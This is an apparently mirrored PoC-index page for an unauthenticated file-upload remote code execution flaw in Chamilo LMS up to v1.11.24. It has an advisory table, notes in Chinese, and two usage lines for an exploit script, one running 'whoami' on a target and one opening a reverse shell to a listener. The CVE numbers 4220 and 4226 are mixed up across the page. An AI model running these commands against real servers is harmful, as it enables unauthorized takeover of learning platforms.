关联漏洞
标题：
Chamilo LMS 安全漏洞
(CVE-2023-4226)
描述：Chamilo LMS是Chamilo协会的一套开源的在线学习和协作系统。该系统支持创建教学内容、远程培训和在线答题等。 Chamilo LMS v1.11.24 版本及之前版本存在安全漏洞，该漏洞源于 “/main/inc/ajax/work.ajax.php”页面存在不受限制的文件上传。
描述
POC for CVE-2023-4220 - Chamilo LMS Unauthenticated Big Upload File Remote Code Execution
介绍
# CVE-2023-4220 POC
More about CVE-2023-4220: [StarLabs Advisory](https://starlabs.sg/advisories/23/23-4220/)
## Summary
| **Product** | Chamilo |
| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Vendor** | Chamilo |
| **Severity** | High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution. |
| **Affected Versions** | <= v1.11.24 |
| **Tested Versions** | v1.11.24 (latest version as of writing) |
| **CVE Identifier** | CVE-2023-4220 |
| **CVE Description** | Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell. |
| **CWE Classification** | CWE-434: Unrestricted Upload of File with Dangerous Type |
| **CAPEC Classification** | CAPEC-650: Upload a Web Shell to a Web Server |
## Proof of Concept (PoC)
### Execute Commands Directly
To execute commands directly, use the following command:
`python CVE-2023-4226.py -u http://<target_ip>:<target_port> -c whoami`
### Obtain a Reverse Shell
To obtain a reverse shell, use the following command:
`python CVE-2023-4226.py -u http://<target_ip>:<target_port> -lhost <local_ip> -lport <local_port>`
文件快照
[4.0K] /data/pocs/6d6e7424f445e1c1bb85da4278844198fbfb33f2
├── [2.1K] CVE-2023-4226.py
└── [3.6K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。